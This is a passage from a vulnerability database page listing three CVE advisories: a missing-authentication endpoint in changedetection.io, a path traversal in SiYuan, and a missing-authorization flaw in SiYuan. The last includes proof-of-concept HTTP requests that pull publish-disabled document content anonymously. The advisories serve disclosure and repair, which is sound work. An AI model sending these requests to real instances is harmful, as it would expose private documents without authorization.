runtime router/service/middleware pipeline and sends `h | GCVE Database | ||
| Medium | 5.3 | EPSS 0.3% | CVE-2026-71203dgtlmoon changedetection.io · Missing Authentication Medium5.3EPSS 0.3%CVE Database V5CVE-2026-71203 changedetection.io's REST API resources are protected by an @auth.check_token decorator validating the caller's x-api-key header, except the Spec resource registered at /api/v1/full-spec (changedetectionio/api/Spec.py), whose get method carries neither @auth.check_token nor @validate_openapi_request. | CVE Database V5 | ||
| High | 8.3 | EPSS 0.5% | CVE-2026-69086siyuan · Path Traversal High8.3EPSS 0.5%CVE Database V5CVE-2026-69086 **CVE:** This vulnerability corresponds to [CVE-2026-69086](https://nvd.nist.gov/vuln/detail/CVE-2026-69086). ### Summary Four attribute-view read endpoints build a filesystem path from a caller-controlled `id`/`avID` and read it without confining the result to the attribute-view storage directory (`DataDir/storage/av/`). On the load (file-exists) code path there is no boundary check, so an `avID` containing `../` segments escapes `storage/av/` and causes the kernel to read a `.json` file elsewhere in the workspace. The endpoints require only `CheckAuth`, which the publish service's `RoleReader` token satisfies; when `Publish.Auth.Enable` is `false` the publish proxy uses the anonymous account, making the surface reachable with no credentials. ### Details Affected endpoints (all gated by `CheckAuth` only, no `CheckAdminRole`): - `POST /api/av/renderAttributeView` → `arg["id"]` - `POST /api/av/getAttributeViewKeysByID` → `arg["avID"]` - `POST /api/av/getAttributeViewKeys` → `arg["id"]` - `POST /api/av/getCurrentAttrViewImages` → `arg["id"]` In `model.RenderAttributeView` (`model/attribute_view_render.go`), the only identifier guard `ast.IsNodeIDPattern(avID)` sits **inside** the `if !filelock.IsExist(existPath)` (create) branch: ```go existPath = GetAttributeViewDataPath(avID) // path built from avID, no check if !filelock.IsExist(existPath) { // NOT-EXIST / CREATE branch if !createIfNotExist { return // NotFound } if !ast.IsNodeIDPattern(avID) { // <-- ONLY id guard, create branch only return ErrInvalidID } // ... create ... } attrView, err = av.ParseAttributeView(avID) // LOAD runs unconditionally ``` When the traversal `avID` resolves to a file that already exists, the `!filelock.IsExist(...)` condition is `false`, the entire block (including the line with `ast.IsNodeIDPattern`) is skipped, and control falls straight through to `av.ParseAttributeView(avID)`. That function rebuilds the path via `filepath.Join(DataDir, "storage", "av", avID+".json")` and calls `filelock.ReadFile` with no `filepath.Rel` / `IsSubPath` / `..` rejection: ```go // av.ParseAttributeView -> attributeViewDataPathByBox / GetAttributeViewDataPath avJSONPath = filepath.Join(DataDir, "storage", "av", avID+".json") // no boundary check // -> parseAttributeViewByPathInBox(avJSONPath, boxID) data, _ = filelock.ReadFile(avJSONPath) // SINK ``` `filepath.Join` cleans the path but does **not** reject `..` segments, so it provides no containment. The three `getAttributeView*` endpoints call `ParseAttributeView` with no create branch at all, so they never even reach the `ast.IsNodeIDPattern` check same defect, same auth tier. The root cause is that identifier validation is placed on a single code branch rather than confining the load to the AV base directory, so the load path reads a caller-controlled location. ### PoC **Precondition:** publish mode enabled (default port `6808`); reachable by a `RoleReader` publish token, or anonymously when `Publish.Auth.Enable` is `false`. A request to `/api/av/renderAttributeView` with an `id` composed of `../` path segments that resolves to an existing `.json` file outside `DataDir/storage/av/` causes that file to be read and parsed instead of being rejected, because the identifier validation is only reached on the not-exist/create branch. I have withheld the exact encoded `id` value from this draft to avoid publishing a live traversal against internet-exposed publish instances. I'm happy to provide the precise value and a screenshot privately in this thread on request. ### Impact An authenticated publish `RoleReader` or an anonymous client when publish auth is disabled can cause the kernel to read `.json` files outside the attribute-view directory. Because the loaded file is unmarshalled into the attribute-view structure, the reliable primitives are: 1. Disclosure of attribute-view (database) content from other scopes/notebooks the reader is not authorized to see. 2. A `.json`-path existence oracle for arbitrary workspace locations. Files not conforming to the AV schema are read but reflect little content, and the `.json` suffix is force-appended, so this is **not** a general arbitrary-file read. No admin role, CSRF token, or write permission is required. ### Suggested fix Validate `avID` with `ast.IsNodeIDPattern` before path construction on **all** branches (move it ahead of `FindAttributeViewPath` / `GetAttributeViewDataPath`), or preferably, so every caller inherits it confine at the sink: in `attributeViewDataPathByBox` / `GetAttributeViewDataPath`, compute the joined path and reject it unless `filepath.Rel(avBaseDir, cleaned)` stays within `avBaseDir` (no leading `..`). Sink-side confinement also covers the three `getAttributeView*` endpoints that never reach the create-branch guard. | CVE Database V5 | ||
| Critical | 9.2 | EPSS 0.3% | CVE-2026-68587siyuan · Missing Authorization Critical9.2EPSS 0.3%CVE Database V5CVE-2026-68587 **CVE:** This vulnerability corresponds to [CVE-2026-68587](https://nvd.nist.gov/vuln/detail/CVE-2026-68587). ### Summary Three "heading transaction" endpoints `/api/block/getHeadingDeleteTransaction`, `/api/block/getHeadingLevelTransaction`, and `/api/block/getHeadingInsertTransaction` return the rendered block DOM of a heading and its subtree in the computed transaction payload, with no publish-access check. They are gated by `CheckAuth` only, so they are reachable by the publish `RoleReader` token, and by the anonymous account when `Publish.Auth.Enable` is `false`. Despite their write-implying names, these endpoints perform no mutation on this path, they compute a transaction object and return it, and that object contains `RenderNodeBlockDOM` output. As a result, an anonymous reader who supplies a heading block ID can read the full rendered content of a document that has been explicitly marked publish-disabled by an administrator, content that the reader-facing `/api/filetree/getDoc` path correctly refuses to return. ### Details **Route / auth tier.** All three routes are registered `CheckAuth`-only (no `CheckAdminRole`). `CheckAuth` admits `RoleReader`, and the publish proxy forwards port-6808 traffic with a Reader JWT (anonymous account when publish auth is disabled). Anonymous/reader reachable. **No publish-access filter.** `GetHeadingDeleteTransaction` / `GetHeadingLevelTransaction` / `GetHeadingInsertTransaction` load the heading's block tree and render its DOM into the returned transaction's operation data. None of the three invokes `IsReadOnlyRoleContext` / the publish-access filter that the reader-safe content path (`getDoc`) applies. The reader-facing content endpoints (`getDoc`, and the `CheckAdminRole`-gated `getBlockDOM`/`getBlockKramdown`) treat rendered block DOM as gated content; these three transaction endpoints return the same rendered DOM without that gate. **Write-implying name, read behavior.** On this code path the endpoints only *compute* the transaction (e.g. the `undoOperations` a delete would produce) and return it; nothing is deleted or modified. The returned operation data includes the rendered HTML of the heading subtree. This mismatch, mutation-shaped name, content-returning behavior is why the gap is easy to miss. ### Proof of Concept Reproduced on a local instance (SiYuan running locally, publish mode enabled on port 6808, publish Basic Auth disabled). `DOC` is a document containing a heading `HEADING` whose body contains the unique marker `UNIQUE_MARKER_99`, and `DOC` is marked publish-disabled by the administrator. **1. Confirm the document is publish-disabled (admin action, the boundary that should block reads):** ``` POST http://127.0.0.1:6806/api/filetree/setPublishAccess Authorization: Token <admin-token> {"id":"DOC","visible":false,"password":"","disable":true} ``` **2. Baseline: the reader-safe content path correctly blocks it (anonymous, port 6808):** ``` POST http://127.0.0.1:6808/api/filetree/getDoc {"id":"DOC"} ``` Returns the blocked/placeholder response, the publish filter is applied, no content. **3. Disclosure: the transaction endpoint returns the content (anonymous, port 6808):** ``` POST http://127.0.0.1:6808/api/block/getHeadingDeleteTransaction {"id":"HEADING"} ``` Returns HTTP 200; `data.undoOperations[].data` contains the rendered HTML of the heading subtree, including the hidden body text `UNIQUE_MARKER_99`. Nothing is deleted — the endpoint only computes the transaction. This is the full content of a publish-disabled document returned to an anonymous reader. **4. Sibling endpoints: same disclosure, same input:** ``` POST http://127.0.0.1:6808/api/block/getHeadingLevelTransaction {"id":"HEADING","level":2} POST http://127.0.0.1:6808/api/block/getHeadingInsertTransaction {"id":"HEADING"} ``` Both return the rendered DOM of the heading subtree in their operation data. ### Impact An anonymous reader (publish mode with auth disabled) or any publish `RoleReader` who supplies a heading block ID can read the full rendered content of a publish-disabled document, defeating a boundary the administrator explicitly configured. **Precondition:** the request requires the target heading's block ID. Block IDs are high-entropy and are not returned by this endpoint, so this endpoint alone does not permit untargeted enumeration of arbitrary documents. However, block/heading IDs for publish-disabled documents are obtainable from other `CheckAuth`-only endpoints that lack the publish-access filter (the publish-boundary handler set reported separately, e.g. `getHeadingChildrenIDs`). Chained with such an ID source, this yields end-to-end unauthenticated full-content disclosure of publish-disabled documents. Presented standalone, the attacker must already possess the heading ID. Impact is confidentiality-only: these endpoints return content but do not (on this path) modify data. No admin role, CSRF token, or write permission is required. Encrypted notebooks | CVE Database V5 |
Page 3 of 7 · 1 duplicate CVE record merged